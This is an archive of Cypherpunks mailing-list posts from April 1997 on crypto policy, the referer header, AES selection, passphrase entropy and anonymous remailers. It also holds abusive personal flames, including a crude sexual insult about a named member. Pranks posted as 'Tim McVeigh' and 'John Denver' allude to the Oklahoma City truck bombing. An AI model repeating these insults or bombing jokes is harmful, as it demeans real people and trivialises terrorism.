with the arguments made against it. The purpose of the referer link is
to allow servers to collate pages of backlinks. This would make the
Web browsable in both directions.

I could never understand why Netscape supported the facility in the 
browser without also supporting the capture functionality in the
server. Its a simple matter to add support but they seem uninterested.

Of course there should be a toggle to allow users to turn off the 
referer field. I tried to get a recomendation to do this put into the
spec. People then started shouting at me saying that it was impossible
to enforce and so the recomendation shouldn't be there. Quite
what the relevance of 'encforcement' is I don't know.


Then they started jamming stupid ideas like cookies into the spec,
ideas that showed all of five minutes thought.


 
>Which was my original point. I'd even be willing to *pay* for a cert,
but
>not more than about $15. I just find it odd that I can get SSL server
>software for cheaper than I can get a license to operate said
software.
>Hey Verisign, why don't you offer a Class 1 server certificate?

The manner in which SSL is designed means that it requires a degree
of trust in the certificate. Allowing the browser to automatically
accept
a class 1 cert would be somewhat foolhardy. Because someone put
that damn key on the bottom of the browser some people expect there
to be security. Instead they get encryption which ain'tquite the same 
thing.

There is nothing to stop you using a non standard cert with SSL
however.
I use Apache with a cert I wrote myself.

    Phill



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From nobody at huge.cajones.com  Fri Apr 18 14:17:37 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 18 Apr 1997 14:17:37 -0700 (PDT)
Subject: Advocating Violence
Message-ID: <199704182117.OAA16660@fat.doobie.com>


>From: paul at fatmans.demon.co.uk
>To: Kent Crispin 
>Date: Fri, 18 Apr 1997 15:17:29 +0000
>Subject: Re: Advocating Violence

Paul said:

> > You may well argue that my idea of rights is a misinterpretation, I 
> > could give you a number of examples of why this is not so.

Kent said:
> 
> More likely I would argue that your idea of rights is simply a
> religious belief, and, like many zealots, you confuse your beliefs 
> with reality and reason.


Kent, you smug and arrogant pampered child! To denigrate another because he _may_ have ideas based on religious beliefs is a typical of your ad hominem style of argument. Nothing Paul has said would mark him as a zealot, which term you use too loosely and unwittingly.

"Reality and reason?" You who have recently implied that the death camps of Europe are not a part  of the reality of the 20th century.

Previously I had pitied you for continuing to bash your head into a wall with your specious arguments thinking it was mere stupidity! Not stupidity honestly come by, but abysmal ignorance nurtured by one who sits isolated and ignorant on his ivory tower.

With a certain satisfaction I see now that all the dung heaped upon you and your vacuuous logic is honestly earned and completely deserved.

If I did not weep for the educational system which _produced_ you, I would laugh at you.

TruthMonger #20


 







From sales at munica.com  Fri Apr 18 14:20:10 1997
From: sales at munica.com (Web FormPAL)
Date: Fri, 18 Apr 1997 14:20:10 -0700 (PDT)
Subject: Web Tools and Resource Download
Message-ID: <199704182120.RAA20585@genco.webdevelop.com>


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From 3umoelle at informatik.uni-hamburg.de  Fri Apr 18 14:25:18 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Fri, 18 Apr 1997 14:25:18 -0700 (PDT)
Subject: Liberal party: definitely no crypto ban in Germany
Message-ID: 


Germany's liberal party FDP, which forms the government together with
the larger Christian Democrats (CDU), has announced that they will
not accept any restrictions to the use of cryptography.

Yesterday the German Bundestag began to debate the draft Information
and Communication Services Law (see
http://ourworld.compuserve.com/homepages/ckuner/homepage.htm for
information about that draft).

Both Minister of Justice Schmidt-Jortzig and FDP research politics
speaker Laermann said that cryptography must not be banned.  Laermann
said the FDP will definitely not accept any crypto law that restricts
or bans using cryptography.  "I say this in the knowledge that what is
desired herewith firstly is technically impossible, and secondly it
cannot be allowed to give up protection of private, economic and - I
say this from personal first hand, I may say bitter experience -
scientific data from unauthorized, unfair and even criminal doings.
The FDP will not allow that."

The FDP supports the draft Digital Signature Law, but will resist any
attempts to abuse the security infrascture as an entry into crypto
regulation.


Until recently, the FDP position on cryptography has been indifferent.
Early this year FDP politicians have begun to verbosely contradict
those in the CDU that want to restrict cryptography.  In March,
Minister of Justice Schmidt-Jortzig said at a North German FDP
convention: "Currently there exist demands to ban cryptography or to
deposit all keys with a central authority that can then arbitrarily
decrypt messages.  Those demands are deeply illiberal."  The
convention passed a resolution saying that "Nobody may restrict the
citicens' right to use encryption to protect their data from
unauthorized access by third parties."

The Bundestag vice president Burkhard Hirsch published a statement on
the FDP web server, saying that banning cryptography clearly is
pointless, and precisely for that reason not even the Third Reich or
East Germany had tried to do so.  In a letter to the newsmagazine
Spiegel, he wrote: "You could laugh your head off, if you didn't know
that they really mean it."





From eric at sac.net  Fri Apr 18 14:31:47 1997
From: eric at sac.net (Eric Hughes)
Date: Fri, 18 Apr 1997 14:31:47 -0700 (PDT)
Subject: Proposed Addendum to International Standards
Message-ID: <3.0.32.19970418143141.0081f7e0@www.internal.sac.net>


I was, for some reason, browsing ISO two letter country codes today and
came upon such oddities as

EM	Office for Harmonization in the Internal Market (Trademarks and Designs)
(OHIM)

So I decided we needed some new ones, since it wasn't just for countries
anymore.

CB	Cyberspace
CP	Cypherspace

Cyberspace, the domain of electronic communication.  Cypherspace, the
domain of encrypted and untraceable electronic communication.

Do you think we can get ISO to approve it?

Better yet, do you think we could get some of those oval stickers like you
see on European cars?  I'm sure Ian will want some little ones for his Pilot.

And now all we need is an ISO 639 natural language identifier for
ciphertext.  How about "xx"?

Eric






From kent at songbird.com  Fri Apr 18 15:30:55 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 18 Apr 1997 15:30:55 -0700 (PDT)
Subject: Advocating Violence
In-Reply-To: <199704182117.OAA16660@fat.doobie.com>
Message-ID: <19970418152904.27311@bywater.songbird.com>


On Fri, Apr 18, 1997 at 02:17:34PM -0700, Huge Cajones Remailer wrote:
[Some stuff I will ignore.  But one thing I want to address.]

>"Reality and reason?" You who have recently implied that the death
>camps of Europe are not a part of the reality of the 20th century. 

Nonsense.

[...]

>With a certain satisfaction I see now that all the dung heaped upon
>you and your vacuuous logic is honestly earned and completely
>deserved. 

As Bill Frantz so aptly stated, dung comes from assholes.  

(Of course, Bill does not speak for me, and I do not speak for him.)

>If I did not weep for the educational system which _produced_ you, I
>would laugh at you. 

You should laugh.  It's good for the soul.

> TruthMonger #20

"Not your everyday Turbine Ventilator."

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From hallam at ai.mit.edu  Fri Apr 18 16:51:38 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Fri, 18 Apr 1997 16:51:38 -0700 (PDT)
Subject: Meeting Report: "Developing the Advanced Encryption Standard"
Message-ID: <199704182351.TAA25998@life.ai.mit.edu>


>  Regarding computational efficiency, NIST will favor
>efficiency on 32-bit processors and short key-setup time, will test
>efficiency on a little endian processor, and will publish the specs of
the
>test system. 

This seems misguided IMHO. The current trend is towards 64 bit
processors and the inefficiency of using only half of a 64 bit
processor
seems to me to be somewhat more serious than the hassle of having
to kludge up 64 bit operations on a 32 bit processor. The most likely 
platforms are 64 bit and 8 bit (embedded systems such as cellular).


> They also encourage two submissions: reference (possibly in
>Java) and optimized (in C).  Regarding memory requirements, NIST will
>measure memory requirements for C implementation on a single
reference
>platform (presumably a Pentium Pro), although submitters are welcome
to
>provide results for other platforms.  

Thats also a somewhat limited approach. The x86 familly is getting
long
in the tooth. Intel themselves have it scheduled for replacement in
1999.
The architecture is very much compromised by backwards compatibility 
with the CISC instruction set. A mixed bag of AXP, Pentium PRO and
commodity embedded processors popular in VLSI cell form such as 
Z-80, 6502 and 680x would be more reasonable.

>It was pretty much
>universally thought that this schedule is wildly optimistic.

Like design a new cypher in 6 months?

>NIST has a hard time figuring out how to measure hardware efficiency.
>They'd like to have definitive metrics (like there will be for
software)
>but are unwilling to force submitters to provide VHDL code, or gate
counts,
>or whatever.

Hardware is likely to cover a wide range of uses. The number of gates
for
DES in an ultra fast, `unwound' implementation is many more than a
n
iterator using the same gates for each round.

>NIST talked about what to do about "tweaking" algorithms after
submission.
>What if a break is found, but a simple fix prevents the attack?  What
if
>someone submits an algorithm and someone else proposes a tweak? 
These
>questions were not answered.

Surely this just menas that the tweakers get credit?

>But is there enough time for people to invent strong 128-bit block
ciphers?
>Probably not.  One alternative is to take existing 64-bit block
ciphers,
>and then use a 4-round Luby-Rackoff construction to create a 128-bit
block
>variant.  Another is to give people more time.  Both were talked
about.  I
>would like them to approve triple-DES as an interim standard, and then
take
>all the time they need for a secure 128-bit block cipher.


I suspect the assumption made is that the time table will slip. My
concern is 
however that the starting gate closes too soon. 6 months is too little
time
to start something entirely new. But I would not be suprised if there
was
an extension. But unless people know in advance there will be one it 
means that they find out in six months time that they have six months
to sumbit and algorithm.

I've seen this type of delay a lot in the IETF standards arena. The
working
group starts by assuming it has too little time to do something new
then
spends far longer plugging up holes in a broken plan.

Phill



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From harka at nycmetro.com  Fri Apr 18 17:42:12 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Fri, 18 Apr 1997 17:42:12 -0700 (PDT)
Subject: InterNet Free Terra
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

Here are some more mirror-sites of the anarchist
"Radikal"-magazine:

> http://huizen.dds.nl/~tank/radikal
> http://burn.ucsd.edu/%7Eats/RADIKAL/
> http://www.jca.or.jp/~taratta/mirror/radikal/
> http://huizen.dds.nl/~radikal/154/
> http://www.canucksoup.net/radikal/index.html
> http://www.ecn.org/radikal
> http://www.well.com/~declan/mirrors/
> http://www.connix.com/~harry/radikal/index.htm
> http://www.anok4u2.org/radikal/
> http://www.denhaag.org/~radikal
> http://emma.unm.edu/radikal
> http://www.tacacs.com/radikal/"
> http://users.abcs.com/dockmstr/mirror/radikal/index.htm
> http://home.ipr.nl/~radikal/
> http://www.ibmpcug.co.uk/~irdial/live_free/
> http://zero.tolerance.org/radi/index.htm
> http://www.meaning.com/library/radikal/
> http://www.wfmusic.fi/~toni/radikal
> http://www.euronet.nl/users/funest/radi/index.htm
> http://www.lab.net/radikal
> http://www.charm.net/~gbarren/radikal
> http://login.datashopper.dk/~pethern/not_by_me_not_my_views/radikal/
> http://radikal.autono.net./rad
> http://brazil.nbn.com/radikal/
> http://www.threeweb.ad.jp/~fubuki71/mirror/radikal/
> http://www.design.nl/~bram/radikal/
> http://www.eskimo.com/~quawk/radikal/
> http://www.calyx.com/~refuse/radikal/
> http://www.grfn.org/~rtwo
> http://www.grfn.org:4380 xs4all port mirror
> http://www.cyberpass.net/radikal
> http://www.xs4all.nl/~jeroenw/radikal/
> http://catalog.com/jamesd/radikal/
> http://www.islandnet.com/freedom/radikal/
> http://www.binary.net/mishania/radikal/
> http://www.io.com/~gbroiles/radikal.html
> http://inet.uni-c.dk/~pethern/radikal.154.txt radikal 154 in plaintext
> ascii.
> http://www.moebius.com.au/radikal/
> http://www.moebius.net/radikal/
> http://interpia.net/~baldodum/radikal/index.htm
> http://www.firstfloor.org/~vaclav/radikal
> http://www.nyct.net/~malba/radikal/


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM1gWtTltEBIEF0MBAQHBkgf+LHnES8nwFltcynOJk3sbJBD4QtSAVHX0
H/7VFA+v1deRfcKzC9ZtcOYJdrTwDPHsbzZZgCrwTyQn4/BYoZuX8Lvvpi0VwL5b
r6N9auGMQCzOqIPAjkvTwEP+qR3aP56rEWHKzCPGzIgP/bojhelMujTxvhBjPRFC
Bt5M6soavEwXboYv8lSla4QBvYpJsk5FFdbALCsZxibp3iceLwZ6T3zX/BWaxAN0
P8GazaluyXDc87ZKEk9fvZM5bN6jAHNC58n7g9A6PbJ6Bbk+hkdP0auQCGqVBbT0
gNOgbSG3u0YqbAlXvei5kAT2lCkBGm0HubTHhhpysoVC2scdWW0mlg==
=riVf
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From nobody at faust.guardian.co.uk  Fri Apr 18 17:42:50 1997
From: nobody at faust.guardian.co.uk (Shift Control)
Date: Fri, 18 Apr 1997 17:42:50 -0700 (PDT)
Subject: State of the Nation
Message-ID: <199704181143.MAA11601@faust.guardian.co.uk>



Introducing....
The State of the Nation Issue of Shift Control

If aliens landed in Britain with the aim of finding out what's up these days, 
they'd be in for a confusing time. Politicians - our leaders - are being chased 
by headless chickens and hacks on smack, while other hacks rage against "sleaze"
and try to be politicians themselves. Unemployment figures are down, though they 
might be up. Ministers disagree with their parties while simultaneously agreeing 
with their parties. When we think we're eating lamb we might be eating beef. 
And millions of people buy Spice Girls records. It'll take more than a fancy 
spaceship to figure out the state of the nation these days.

Undaunted, we decided to have a go anyway in this week's issue of Shift Control. 
We've asked Johnny Foreigner to give us an outsider's view of Britain; citizens 
of Middle Britain send us postcards profiling life in their home towns; Robin 
Hunt tries the statistical approach in the hope of finding some coherent 
indications as to where the country's heading; and Rada Petrovic explores her 
local haunt - Kentish Town, London - as a microcosm of the nation. Plus our 
quiz asks: how wild are you about Britain?

Also this week: the usual mountain of humour and perspicacity, including more 
memoirs from Freebee (our resident rock historian), new fiction from Miles 
Gregory, and, if you're quick, details on how to obtain free tickets to the 
fourth annual Unconvention in London.

Shift Control: in a fine state and waiting for you at:
http://www.shiftcontrol.com

Shift Control is produced by the Guardian's New Media Lab with help from 
Boddingtons and Stella Artois Dry.

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request at nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe





From dlv at bwalk.dm.com  Fri Apr 18 18:00:12 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Apr 1997 18:00:12 -0700 (PDT)
Subject: SSL weakness affecting links from pa
In-Reply-To: <199704182100.RAA19542@life.ai.mit.edu>
Message-ID: <9uRD6D16w165w@bwalk.dm.com>


"Phillip M. Hallam-Baker"  writes:
> As the person who invented (and mispelt) the referer link I don't
(binary nonsense snipped)

$1 to Sinn Fein - thank you.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Fri Apr 18 18:00:16 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Apr 1997 18:00:16 -0700 (PDT)
Subject: Xs4all website censored by German academic network (fwd)
In-Reply-To: <3.0.1.32.19970418151153.006795a0@popd.ix.netcom.com>
Message-ID: 


Bill Stewart  writes:

> At 03:17 PM 4/18/97 +0000, paul at fatmans.demon.co.uk wrote:
> >This comes as rather topical actually as I believe, if memory serves,
> >that Radikal is a right wing racist publication? -
>
> Actually, it's a far-left anti-racist group's publication.
>
>
> Does anybody know if Germany has a tradition of "academic freedom"
> which could be waved at the network administration that's doing
> the censorship?

Germany has a tradition of hounding Jews out of their universities,
for which the U.S. Universities were most thankful in the 1930s.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From do at not.reply.com  Fri Apr 18 18:06:32 1997
From: do at not.reply.com (do at not.reply.com)
Date: Fri, 18 Apr 1997 18:06:32 -0700 (PDT)
Subject: Diamond K
Message-ID: 



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set your browser to this site now  and make $$$$ tomorrow






From bubba at dev.null  Fri Apr 18 18:15:09 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Fri, 18 Apr 1997 18:15:09 -0700 (PDT)
Subject: Web World 35
Message-ID: <33581C5E.1F80@dev.null>

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From real at freenet.edmonton.ab.ca  Fri Apr 18 19:11:03 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 18 Apr 1997 19:11:03 -0700 (PDT)
Subject: [ANNOUNCEMENT] Firewalls
In-Reply-To: <199704182047.NAA15773@fat.doobie.com>
Message-ID: 


On Fri, 18 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> When Timothy C. May's mother gave birth to him 
> after fucking with a bunch of sailors, she 
> didn't know who the father was but decided to 
> tell him that he was a Russian as the Russian 
> sailor was the one who satisfied her the most.
> 
>       \\///
>       |O O| Timothy C. May
>       | ( |
>       |_ at _|
>         H
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From schneier at counterpane.com  Fri Apr 18 19:14:25 1997
From: schneier at counterpane.com (Bruce Schneier)
Date: Fri, 18 Apr 1997 19:14:25 -0700 (PDT)
Subject: Meeting Report: "Developing the Advanced Encryption Standard"
In-Reply-To: <199704182351.TAA25998@life.ai.mit.edu>
Message-ID: 


At 6:57 PM -0500 4/18/97, Phillip M. Hallam-Baker wrote:
>
>>  Regarding computational efficiency, NIST will favor
>>efficiency on 32-bit processors and short key-setup time, will test
>>efficiency on a little endian processor, and will publish the specs of
>>the test system.
>
>  This seems misguided IMHO. The current trend is towards 64 bit
>processors and the inefficiency of using only half of a 64 bit processor
>seems to me to be somewhat more serious than the hassle of having
>to kludge up 64 bit operations on a 32 bit processor. The most likely
>platforms are 64 bit and 8 bit (embedded systems such as cellular).

I agree that testing on a 32-bit machine is kind of dumb.  I also think
that testing it on a 64-bit machine is just as dumb.  We're talking about
a standard that will be with us for 20-30 years; whatever the current
archetecture is, it will be outdated before the standard is.

The lessons of computer are:  the high end always gets faster, and the
low end never goes away.  Anything will run fast on the high end, if not
now then in a generation or two.  We need something optimized for 8-bit
smart card processors.
>
>> They also encourage two submissions: reference (possibly in
>>Java) and optimized (in C).  Regarding memory requirements, NIST will
>>measure memory requirements for C implementation on a single reference
>>platform (presumably a Pentium Pro), although submitters are welcome to
>>provide results for other platforms.
>
>Thats also a somewhat limited approach. The x86 familly is getting long
>in the tooth. Intel themselves have it scheduled for replacement in 1999.
>The architecture is very much compromised by backwards compatibility
>with the CISC instruction set. A mixed bag of AXP, Pentium PRO and
>commodity embedded processors popular in VLSI cell form such as
>Z-80, 6502 and 680x would be more reasonable.

Again, all that matters is the low end.

>My concern is however that the starting gate closes too soon. 6 months
>is too little time to start something entirely new. But I would not be
>suprised if there was an extension. But unless people know in advance
>there will be one it means that they find out in six months time that
>they have six months to sumbit and algorithm.

We discussed that.  If a group thinks they have six months to develop
something new, they might decide not to even both.  Then, if there is
a six-month extension, we haven't gained anything.  I argued that a full
year should be given.

That's why I want triple-DES approved now, and then to let everyone take
their time with AES.

Bruce

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier at counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************







From toto at sk.sympatico.ca  Fri Apr 18 20:24:03 1997
From: toto at sk.sympatico.ca (Carl Johnson)
Date: Fri, 18 Apr 1997 20:24:03 -0700 (PDT)
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: 
Message-ID: <335835C6.7CFC@sk.sympatico.ca>


Timothy C. May wrote:
> At 5:55 PM -0800 4/18/97, Igor Chudov @ home wrote:
> >Timothy C. May wrote:
> >> ....and at least 1 to say that you gave no credit for this. Did you write
> >> it yourself? If so, congratulations, as it was pretty good. If you did not,
> >> you left out any mention of the author, or at least where you found it.

> >it was not me. When i got it, it had no attribution on it also.
 
> Then it's best to say so. "Anonymous" or "No attribution" is preferable to
> simple forwarding.

  When the post arrives with three or four sets of '> >>' (<--whatever
the
fuck these things are called), then even those of us who lost the better
part of our brains in the Drug War are able to figure out that it is a
forwarded-forwarded-forwarded post.
  I think Tim is fighting old wars in his head. (Find your shoes, yet,
Tim?)

> --Tim May, who's had his own stuff forwarded without credit, and recalls
> when one of Perry Metzger's pieces arrived back on the list, sans credit.

  I can sympathize with Tim, here. People who plagarize the works of 
others, or who steal credit for other's ideas, are the scum of the
earth.

Just say "No" to "Plagarists Inside"
We got no ethics, we're stealing sig lines, I know that that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:----
Toto                        | Crypto Anarchy: encryption, digital money,
robNsteal at gotyours.net      | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Your Mind       | knowledge, reputations, information
markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"Plagarists aren't even speed bumps on the disinformation superhighway."






From dlv at bwalk.dm.com  Fri Apr 18 21:00:13 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Apr 1997 21:00:13 -0700 (PDT)
Subject: Light Bulbs & newsgroups
In-Reply-To: 
Message-ID: 


"Timothy C. May"  writes:
> It's the American way.

Waco is the American way.  Ruby Ridge is the American way.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From stewarts at ix.netcom.com  Fri Apr 18 23:12:09 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 18 Apr 1997 23:12:09 -0700 (PDT)
Subject: SSL weakness affecting links from pa
In-Reply-To: <199704182100.RAA19542@life.ai.mit.edu>
Message-ID: <3.0.1.32.19970418230820.006527d8@popd.ix.netcom.com>


At 05:05 PM 4/18/97 -0400, Phillip M. Hallam-Baker wrote:
>As the person who invented (and mispelt) the referer link I don't
>agree with the arguments made against it. 
>The purpose of the referer link is
>to allow servers to collate pages of backlinks.
>This would make the Web browsable in both directions.
...
>Then they started jamming stupid ideas like cookies into the spec,
>ideas that showed all of five minutes thought.

One major problem with these features is that the security
implications become far more complex when you start combining them.
For instance, autoloading images without referer are safe - but
images + referer gives enough information to run doubleclick.
Cookies without referer are pretty safe - but cookies+referer
make cookies far less safe, and doubleclick more effective.

Then you start putting HTML capability in news readers,
and anybody who reads an article with an IMG in it
creates a record for spammers (or Arbitron) to use.

Rich Graves said that if you don't like the feature, take it up with the 
folks who wrote the spec - but the RFCs say that Referer needs to
be handled carefully, and should be optional...

>Of course there should be a toggle to allow users to turn off the 
>referer field. I tried to get a recomendation to do this put into the
>spec. People then started shouting at me saying that it was impossible
>to enforce and so the recomendation shouldn't be there. 

Perhaps too much commercial advertising capability already depended on it?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From jamesd at echeque.com  Fri Apr 18 23:43:18 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Fri, 18 Apr 1997 23:43:18 -0700 (PDT)
Subject: FCPUNX:Passphrase entropy
Message-ID: <199704190641.XAA16744@proxy3.ba.best.com>


At 12:04 PM 4/18/97 -0700, Steve Schear wrote:
> If this is true then how much passphrase entropy is enough to thwart, 
> for example, an NSA crack attempt?  Seems to me it needs to be equal 
> to or greater than the encryption key. What are some good, practical 
> ways of achieving this?

Long keys or random keys.

Suppose you need 80 bits of entropy.

If your passphrase is truly random, for example
        9kDt3fagWxglr
You have about six bits a character, so you only need 
thirteen characters.

If, however, your pass phrase is an intelligible english 
sentence, for example
        Wandering past Saint Ives, I saw many fine buildings covered in ivy
across the road.
You only have about one bit per character, so you need an 
eighty character sentence.

If your passphrase is a short intelligible english phrase, 
as most of them are, it will succumb to a dictionary attack.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From null at myemail.net  Fri Apr 18 23:43:54 1997
From: null at myemail.net (null at myemail.net)
Date: Fri, 18 Apr 1997 23:43:54 -0700 (PDT)
Subject: commercial web remailer myemail.net
Message-ID: <06434719900943@MyEmail.net>




www.myemail.net is a commercial remailer service;
you can get an account for $5/month for some services,
and use their web form free to send email and post news.
Some parts of it are still under construction.

Email has a nice attention-getting footer that gets put on each message
to indicate that it's anonymous mail (so if you want to chain
through other remailers, you'll need cutmarks), which says there's
no sender identity logging.  On the other hand, there's an interesting
pixel in the web form that you use to send the email:
	

Blocking is available both for email addresses and newsgroups.
For email, just fill in your address in a form; it's not verified
(my attempted mail to testme at bogus.com was rejected).
The blocking works immediately, and since you submit email via a 
web form, reject messages get presented directly rather than
being emailed to the bit bucket at some remailer.
For news, the policy is that newsgroups will be blocked if there are
requests from 12 different people (as distinguished somehow from
12 different requests by the same person forging headers.)

Encryption: If you connect to https://www.myemail.net/, the button
for anonymous email will fetch the form using https: ; if not, then not.
So you'll have to remember to use it correctly.  It's 128-bit RC4,
which may affect some non-US users who haven't gotten SafePassage yet.

It's a good start.

			Bill Stewart, stewarts at ix.netcom.com



************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
 to the URL above for instructions on how to do so.
************************************************************************





From stewarts at ix.netcom.com  Sat Apr 19 00:03:09 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 19 Apr 1997 00:03:09 -0700 (PDT)
Subject: commercial web remailer myemail.net
In-Reply-To: <06434719900943@MyEmail.net>
Message-ID: <3.0.1.32.19970419000126.00677600@popd.ix.netcom.com>


>www.myemail.net is a commercial remailer service;

BTW, it only seems to know how to send mail to one recipient;
I tried sending mail to 
	cypherpunks at toad.com, administrator at myemail.net
and it only acknowledged the former.
I then tried sending mail to administrator at myemail.net
and found that address was blocked :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From boom at okc.fed  Sat Apr 19 04:12:09 1997
From: boom at okc.fed (Tim McVeigh)
Date: Sat, 19 Apr 1997 04:12:09 -0700 (PDT)
Subject: (no subject)
Message-ID: <199704191109.FAA01950@wombat.sk.sympatico.ca>



         *** BOOM ***






From johnd at rckymtn.hi  Sat Apr 19 04:28:04 1997
From: johnd at rckymtn.hi (John Denver)
Date: Sat, 19 Apr 1997 04:28:04 -0700 (PDT)
Subject: Thanks for your support.
Message-ID: <199704191125.FAA02035@wombat.sk.sympatico.ca>


Cypherpunks,
  I'd like to thank my many fans on the list for their support for my
latest album. You've been great.

  Sorry I can't take time to chat, but I've got to get out to the ranch
and deliver some supplies for spring planting.
  My truck broke down this morning, so I had to rent one. I've got to
pick up some fertilizer for the fields, and diesel fuel for the 
tractors.
  I've also got to stop by the Federal Building in Denver and drop off
the money order for that traffic ticket I got last week, so I've got
to run.

John Denver






From rah at shipwright.com  Sat Apr 19 06:29:33 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 19 Apr 1997 06:29:33 -0700 (PDT)
Subject: Social Security Public Forums
Message-ID: 



--- begin forwarded text


From: john.t.sabo at ssa.gov
Date: Thu, 17 Apr 97 18:30:41 -0500
To: members at lists.Commerce.Net
MMDF-Warning:  Parse error in original version of preceding line at
lists.Commerce.Net
Cc: john.t.sabo at s3abac8.ns1.barrnet.net
MMDF-Warning:  Parse error in original version of preceding line at
lists.Commerce.Net
Subject: Social Security Public Forums
Mime-Version: 1.0
Sender: members-owner at ssa.gov
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  members at lists.commerce.net
+----------------------------------------------------------------------+


     Fellow Commercenet Members:

     I wanted to make you and your companies aware of an important series
     of six National Forums that the Social Security Administration will be
     conducting throughout the country beginning May 5 through the week of
     June 9, in which SSA will seek public input and expert advice about
     the appropriate customer authentication and privacy safeguards needed
     to support SSA's Internet transaction services and ensure public
     trust.

     The forums are in response to the media and public concerns raised
     about our test of Interactive PEBES, which allowed individuals to
     request a Personal Earnings and Benefit Estimate Statement from SSA
     online and receive the response online, rather than via the mail,
     after providing five knowledge-based customer authenticating elements.
     The initial concerns were centered about the use of the five elements,
     but media attention soon extended to a range of intermingled Internet
     and security concerns.  As a result, we suspended the test and
     announced a 60-day period of expert and public input on this important
     public policy issue.

     We invite interested CommerceNet members to consider participating in
     the forums and offering your expert opinion to the government.  I'm
     including current information about the forums, and expect to have
     more details shortly.  I'll be contacting members I know who have
     expressed interest in providing input, but would welcome hearing from
     other companies who would like to participate in informed public
     discussion and public education.

     John Sabo
     Social Security Administration
     ---------------------------------------------------------------------


Social Security
National Forum on Internet Services -- Backgrounder

We are seeking expert opinion regarding a major public policy issue facing the
Social Security Administration: the appropriate privacy, system security and
other safeguards necessary for SSA to provide transaction services on the
Internet with strong public confidence.

You may be aware that, in response to public concerns raised about our test of
the Interactive Personal Earnings and Benefit Estimate Statement (Interactive
